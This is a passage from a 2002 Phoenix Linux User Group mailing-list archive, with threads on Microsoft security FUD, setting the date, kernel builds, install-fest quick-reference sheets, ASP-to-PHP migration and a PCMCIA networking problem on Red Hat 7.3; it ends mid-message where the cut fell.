Subject: Let the facts speak for themselves May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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Linux Certification Program Sponsor: Linux Professional Institute (LPI) Cornerstone Sponsor: HP Platinum Sponsors: AMD, IBM, Intel and Sun Microsystems Gold Sponsor: Freshwater Software Silver Sponsor: Globetrotter Software Media Sponsors: CRN, Dr. Dobb's Journal, Google, InfoWorld, IT Professional, Linux Magazine, Linux Journal, LinuxWorld.com, Networkworld, OSDN, Sys Admin, Var Business, WebSphere - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpISCsk3ywszI1FEQK3cACglVKizDaMep025+0esBpSZyameUwAoJAS ghWsaZsex0llrRCFsssddyQ5 =G3W0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:48:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 14 Jun 2002 12:48:47 -0700 Subject: Names of last nights presenters? In-Reply-To: <3D0A3985.48AE4F3@qwest.net> References: <3D0A3985.48AE4F3@qwest.net> Message-ID: <0206141248471U.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I bet you want more than Taj and Mike, right? On Friday 14 June 2002 11:44, you wrote: > Does anyone have the names of the two guys from Intel that gave the > presentation last night? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 12Jvk8zaGYkxi3jPyogRzvq5 =KShE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:56:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 15:56:58 -0400 Subject: Date??? Message-ID: <20020614195700.MZTB1131.lakemtao07.cox.net@smtp.central.cox.net> Thanks that worked. I was trying with the -s switch (still don't understand that). btw I'm trying this with Cox's webmail tool again so the charter set may be screwed up again. I've posted their support but still haven't heard back on it. Carl P. ============================================================ From: Matt Alexander Date: 2002/06/14 Fri PM 01:23:31 EDT To: Plug-discuss Subject: Re: Date??? Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 13:03:16 -0700 Subject: Names of last nights presenters? References: <3D0A3985.48AE4F3@qwest.net> <0206141248471U.08309@nova.wedge.org> Message-ID: <3D0A4C04.C2C376AA@qwest.net> Yep. Last names would be very useful. Especially given how many Mikes work for intel (don't know about the number of Taj's). Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I bet you want more than Taj and Mike, right? > > On Friday 14 June 2002 11:44, you wrote: > > Does anyone have the names of the two guys from Intel that gave the > > presentation last night? > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 > 12Jvk8zaGYkxi3jPyogRzvq5 > =KShE > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:15:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 13:15:45 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BC@mail.int.fh.org> Oops, it's back. -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 12:57 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Date??? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:18:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 16:18:12 -0400 Subject: Names of last nights presenters? Message-ID: Mike, the red head guy, is Michael Blandford. The other guy is Tal Yardeni. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:24:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 13:24:40 -0700 Subject: Let the facts speak for themselves In-Reply-To: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> References: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> Message-ID: <200206141324.40881.zen2now@qwest.net> this is the most ridiculous statement i have heard from them to date. "As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." M$ is a backdoor, with flashing neon signs saying "EAT AT BILL'S". FUD FUD FUD, that all i hear from them!! slr On Friday 14 June 2002 12:02 pm, dennisk@sahuaro.f2s.com wrote: > May 31, 2002 > > A Microsoft funded white paper titled "Opening the Open Source Debate" > published by AdTI makes this statement: > > "Another security concern is that the primary distribution channel for GPL > open source is the Internet. As opposed to proprietary vendors, open source > is freely downloaded. However, software in the public domain could contain > a critical problem, a backdoor or worse, a dangerous virus." > > June 14, 2002 > > News.com breaks the story that Microsoft distributed Nimda-infected CDs of > Visual Studio .Net in Korea. > > And M$ wonders why no one takes "Trustworthy Computing" seriously. > > > > Dennis Kibbe > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:45:05 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Jay so: > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. You might want to also run lilo to get it to point at the newly compiled kernel as well. Also, shouldn't there be a 'make install' in there to copy the newly compiled kernel over to /vmlinuz? People new to GNU/Linux will also have a problem knowing which options to enable during the 'make (menu|x)config' step. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:48:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:48:29 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Matt Wyant so: > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. Excellent idea. There are small 3 page laminated guides you can pick up at bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would donate some for the InstallFest? A LUG used to have a quick sheet you could print out. It might be somewhere at the LDP. If we can find it, it might be good to have copies at the InstallFest for people to take home with them. I sure could have used that years ago when I was first learning *NIX. I did use one I got for vi when I first started using vi. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:55:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:55:54 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Sigh I accidently hit send before I pasted this link... http://www.quickreferences.yucom.be/quickrefs.htm which has the bash quick ref.... -Derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:53:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:53:56 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Im fairly certain I have an emacs quick reference. Let me dig through my wealth of knowledge file.... Oh yeah duh... http://www.refcards.com/ That helps.. -derek On Fri, 14 Jun 2002, der.hans wrote: > Am 13. Jun, 2002 schwätzte Matt Wyant so: > > > Something I wish I had when I was beginning (and still do for that > > matter) is a quick-reference of shell commands. Granted, this isn't > > something the "average computer user" might want, but I think an > > "average Linux user" would find this very helpful. This could even be > > something printable from the website. I think it should contain the > > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > > etc..., I'm sure there are some I'm leaving out in my own > > inexperience), a list of customizable files (bash prompts & profiles, > > fstab, etc) and possibly (no religious wars here) a quick startup > > guide to a text-editor. I personally just figured out how to save and > > exit vi, and don't ask me to quit without saving. This may be over > > the head of some users as I an a Linux newbie, but not technically > > inexperienced. > > Excellent idea. There are small 3 page laminated guides you can pick up at > bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would > donate some for the InstallFest? > > A LUG used to have a quick sheet you could print out. It might be somewhere > at the LDP. If we can find it, it might be good to have copies at the > InstallFest for people to take home with them. > > I sure could have used that years ago when I was first learning *NIX. I did > use one I got for vi when I first started using vi. > > ciao, > > der.hans > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:05:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:05:18 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 16:07:22 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: I dont have the original email but, I recall data doctors saying their program was innappropriate for disseminating the notion of the GNU\Linux operating system, because of the 'older' demographic. Could someone please pass this article: http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 on to the kind people at data doctors? Just because you are old, doesn't mean you are dumb nor that you like vendors to treat you like crap. ;) -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:16:05 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " -----Original Message----- From: Tom Achtenberg [mailto:toma@fh.org] Sent: Friday, June 14, 2002 2:05 PM To: 'PLUG Email list' Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 14:26:18 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <3D0A5F7A.1BE1AE2C@qwest.net> I don't know which is easier to pick up from an ASP point of view, but you could use asp2php to convert your ASP pages to PHP. PHP was very easy to pick up and learn for me. > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:30:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 14:30:10 -0700 (MST) Subject: Quick references Message-ID: I put this together for vi -- http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 17:33:54 -0400 Subject: Switching from ASP to JSP/PHP Message-ID: <20020614213356.DFXY8234.lakemtao06.cox.net@smtp.central.cox.net> PHP is a *lot* less over head (much easier to install). JSP (for me) is easier to use in on a java team (everyone can help with the code). Java tends to scale better (though I'm interested in seeing how the new PHP scales). hmmm one day I should capture all this down. Basically my advise is for just converting us PHP. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/14 Fri PM 05:05:18 EDT To: "'PLUG Email list'" Subject: Switching from ASP to JSP/PHP Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:39:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Fri, 14 Jun 2002 14:39:00 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <20020614213900.13337.qmail@web9903.mail.yahoo.com> If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 14:54:35 -0700 Subject: Switching from ASP to JSP/PHP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C1@mail.int.fh.org> Money is a concern and Cold Fusion is probably not an option. -----Original Message----- From: Terence Chang [mailto:peanutlen@yahoo.com] Sent: Friday, June 14, 2002 2:39 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Switching from ASP to JSP/PHP If money is not your concern, I recommend using Macromedia ColdFusion MX. It's super easy to learn. It runs on IIS, Apache, iPlanet, Web Sphere and any Java based web server. For more information, post your question on azcfug@yahoogroups.com. One think you might want to keep in mind. once you learned ColdFuion, you might not want to learn ASP, PHP at all. This is just my 2 cents. :-) ===== Terence Chang peanutlen@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 15:20:51 -0700 Subject: Linux Dell and HP Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4C4@mail.int.fh.org> Good article in Information Week about Linux and Dell and HP. http://www.informationweek.com/story/IWK20020607S0018 And one about HP pushing Linux to it's e3000 server clients http://www.informationweek.com/story/IWK20020612S0002 Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Fri, 14 Jun 2002 15:27:29 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: <3D0A6DD1.5010101@esaravana.com> I would say, it depends on what type of development you are planning to do. If it is a simple web site, I would say PHP. But if you are planning to implement complex enterprise wide intranet/internet service I will surely do it with Java/JSP. It has very robust frameworks and scales really well with Web frameworks like Struts and Velocity. For moving into JSP you need to learn Java. JSP is just a way of embedding Java in html. Sundar Tom Achtenberg wrote: >Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > >Tom Achtenberg >Developer, Information Technologies >Food for the Hungry / US >(480) 609-7750 (voice) >(480) 443-1420 (fax) >TomA@fh.org >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:27:13 -0700 (PDT) Subject: Switching from ASP to JSP/PHP In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4BD@mail.int.fh.org> Message-ID: If you're interested in converting existing ASP scripts to PHP, then asp2php will help you: http://asp2php.naken.cc/ On Fri, 14 Jun 2002, Tom Achtenberg wrote: > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:34:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 15:34:07 -0700 (PDT) Subject: Quick references In-Reply-To: Message-ID: Very cool... It would be really beneficial if we had quick sheets like this to hand out to everyone at the InstallFest. We definitely should have one on basic Linux commands, and one for vim would be great too (although I'm more inclined to show them "pico" at first). I'll make a list of common Linux commands and print out about 100 or so for the InstallFest. If anyone else wants to put together a list of commands for other commonly used Linux programs, that'd be great too. ~M On Fri, 14 Jun 2002, William Lindley wrote: > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:43:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 15:43:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 14. Jun, 2002 schwätzte Derek Neighbors so: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 This article reminds me. Jim mentioned the computer club out at our Sun City has asked for people to help their club members. I think we had a couple of people out there, but we could probably use more volunteers. Also, have we made sure the group out there knows about the West Side meetings at GCC? Speaking of meetings at GCC I believe we still need someone to present this month. I've heard great things about Matt's presentation last month, so we should have a large group in again this month. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 15:33:39 -0700 Subject: Quick references References: Message-ID: <3D0A6F43.1FE2AA2F@qwest.net> Nice little Quick Ref guide. > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:00:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:00:16 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Tom, Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) Thanks! Mark Phillips Phillips Marketing, Inc. 480 945-0798 office > > From: Tom Achtenberg > Date: 2002/06/12 Wed PM 01:40:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > Subject: RE: Redhat 7.3 CDs > > If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Wednesday, June 12, 2002 9:29 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > > Stop by New Vision and I'll give you a RH 7.3 CD set. > 1920 E Broadway Rd > Tempe, AZ > > > > On Tue, 11 Jun 2002, Mark Phillips wrote: > > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 16:08:17 -0700 Subject: Redhat 7.3 CDs References: <20020614230015.SHKF3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0A7761.FB2AB4C5@qwest.net> Rebuild the kernel without PCMCIA support builtin, download pcmcia-cs from sourceforge. I had to do this to get it to work on my laptop (Panasonic Toughbook CF-25mkII, P150). Stupid Yenta socket is the problem. I could send you my .config file for kernel 2.4.18 if you want. I got the starter config by downloading the kernel-2.4.18.src.rpm. Installing it (rpm -ivh kernel-2.4.18.src.rpm) and grabbing the appropriate config file from /usr/src/redhat/SOURCES/. Modified it by removing pcmcia support and a few other minor things that my system doesn't do under linux (like video4linux). Rebuilt it, rebooted, built pcmcia. Then was done. > Thanks - I was able to talk a frined of mine into burning a set. I installed the sw on my Dell Inspiron 3000, but now I cannot get the network to work. I think there is a pcmcia problem (my network card is a pcmcia card). When the system boots, I get an error that says something like "no sockets installed" for the pcmcia. When I try to use the RH network config utility, I cannot activate eth0. > > I am reduced to checking email periodically at the library until I get my old PC on the 'net again! Any suggestions you may have would be appreciated! (Although my response time may be measured in days!) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:12:46 2002 From: 